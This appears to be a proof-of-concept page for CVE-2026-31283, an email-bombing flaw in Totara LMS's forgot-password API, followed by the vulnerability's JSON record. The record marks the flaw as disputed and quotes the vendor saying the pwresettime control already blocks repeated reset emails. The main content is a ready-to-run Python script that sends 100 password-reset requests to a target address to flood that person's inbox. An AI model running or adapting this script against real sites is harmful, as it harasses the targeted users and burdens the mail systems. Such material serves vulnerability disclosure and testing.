CVE-2026-31283

import requests import time def send_password_reset(target_email, url): """ PoC for CVE-2026-31283: Email Bombing via Forgot Password API """ headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded" } # Payload structure may vary based on Totara configuration payload = { "email": target_email, "submit": "Send+password+reset+link" } try: response = requests.post(url, data=payload, headers=headers) if response.status_code == 200: print(f"[+] Email sent successfully to {target_email}") else: print(f"[-] Failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": target = "[email protected]" # Replace with the actual endpoint of the target Totara instance target_url = "https://target-totara-site.com/login/forgot_password.php" print(f"[*] Starting Email Bombing attack on {target}...") for i in range(100): send_password_reset(target, target_url) time.sleep(1) # Optional delay to avoid immediate network timeouts print("[*] Attack finished.")

{"cve": {"id": "CVE-2026-31283", "sourceIdentifier": "[email protected]", "published": "2026-04-13T15:17:33.220", "lastModified": "2026-04-24T08:16:29.853", "vulnStatus": "Deferred", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["disputed"]}], "descriptions": [{"lang": "en", "value": "In Totara LMS v19.1.5 and before, the forgot password API does not implement rate limiting for the target email address. which can be used for an Email Bombing attack. NOTE: the Supplier's position is that the pwresettime configuration defaults to 30 minutes, the pwresettime configuration is a hard control enforced via flag PWRESET_STATUS_ALREADYSENT, and no further password-reset email messages are sent if this flag is active for a specific email address."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-770"}]}], "references": [{"url": "https://github.com/saykino/CVE-2026-31283", "source": "[email protected]"}, {"url": "https://totara.com/", "source": "[email protected]"}]}}